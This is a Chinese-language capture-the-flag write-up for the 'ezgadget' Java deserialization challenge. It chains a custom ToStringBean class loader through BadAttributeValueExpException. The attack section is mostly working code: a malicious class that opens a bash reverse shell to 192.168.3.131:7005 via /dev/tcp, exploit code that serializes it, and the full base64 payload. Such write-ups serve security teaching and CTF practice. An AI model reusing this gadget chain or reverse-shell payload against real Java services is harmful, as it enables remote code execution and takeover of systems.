东华杯ezgadget
打开之后
通过jd-gui反编译导出放到idea的maven中
导入需要的jar包记得把包名改好!!!
1.看路由
/readobject路由会接收data参数,进行base64Decode解码,读取一个name字符串和year整数,当name.equals("gadgets") && year == 2021进行反序列化。
Tools是自己写的一个工具类
重点看ToStringBean
这里它继承了ClassLoader,而且可以反序列化
它的tostring函数
调用了defineClass加载字节码,之后进行了newInstance实例化
这是就想到了动态加载字节码的原理,比如cc3链
这时就该想到,谁进行了反序列化调用readObject,然后会调用到tostring函数,之后我们把ToStringBean放进来,就可以调用ToStringBean的tostring,这时就形成了gadget了
先写一个恶意代码
package com.ezgame.ctf;
import java.io.IOException;
//反弹shell的类
public class shell {
static {
try{
Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.3.131/7005 0>&1"});
} catch (IOException e){
e.printStackTrace();
}
}
}
找到对应的地址
D:\ctf1\target\classes\com\ezgame\ctf\shell.class
发现找到cc5的BadAttributeValueExpException符合条件
类的成员变量val进行赋值的时候,不要直接用构造函数去赋值,可以分析一下
如果我们传入的参数是null,那么就会为null;如果不是null,那么会赋值为val.toString
因为我们想要的是在readObject调用toString
构造exp
package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class exp {
public static void main(String[] args) throws Exception{
ToStringBean toStringBean = new ToStringBean();
Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
classByteField.setAccessible(true);
//获取到shell对象编译后的地址
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf1\\target\\classes\\com\\ezgame\\ctf\\shell.class"));
//将值传入该对象的成员变量中
classByteField.set(toStringBean,bytes);
//到这里,危险函数部分就好了,接下来利用cc5,去调用这个危险函数
//实例化该类的时候,不能直接像下面这样将参数直接传进行,应该使用反射
//BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11111);//这个初始值之后会自动会改,所以这里随便整
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
//反射赋值
val.set(badAttributeValueExpException,toStringBean);
//它的readObject方法会去调用成员变量val的toString方法,成员变量val是Object属性的
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
//因为读取参数的时候,会先去读取一个字符串,一个数字,然后才是Object,所以按照顺去output
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
//然后才是我们的BadAttributeValueExpException类对象
objectOutputStream.writeObject(badAttributeValueExpException);
//base64加密一下
//转换为字节流
byte[] bytes1 = byteArrayOutputStream.toByteArray();
//用该工具类Tools进行base64加密
String s = Tools.base64Encode(bytes1);
System.out.println(s);
}
}
rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAHXQAEmNvbS5lemdhbWUuY3RmLmV4cHQACGV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF/gGCFTgAgAAeHAAAALdyv66vgAAADQALAoACwAaCgAbABwHAB0IAB4IAB8IACAKABsAIQcAIgoACAAjBwAkBwAlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABZMY29tL2V6Z2FtZS9jdGYvc2hlbGw7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAIgEAClNvdXJjZUZpbGUBAApzaGVsbC5qYXZhDAAMAA0HACYMACcAKAEAEGphdmEvbGFuZy9TdHJpbmcBAAkvYmluL2Jhc2gBAAItYwEAK2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4zLjEzMS83MDA1IDA+JjEMACkAKgEAE2phdmEvaW8vSU9FeGNlcHRpb24MACsADQEAFGNvbS9lemdhbWUvY3RmL3NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACgALAAAAAAACAAEADAANAAEADgAAAC8AAQABAAAABSq3AAGxAAAAAgAPAAAABgABAAAABQAQAAAADAABAAAABQARABIAAAAIABMADQABAA4AAAByAAUAAQAAACO4AAIGvQADWQMSBFNZBBIFU1kFEgZTtgAHV6cACEsqtgAJsQABAAAAGgAdAAgAAwAPAAAAFgAFAAAACAAaAAsAHQAJAB4ACgAiAAwAEAAAAAwAAQAeAAQAFAAVAAAAFgAAAAcAAl0HABcEAAEAGAAAAAIAGQ==```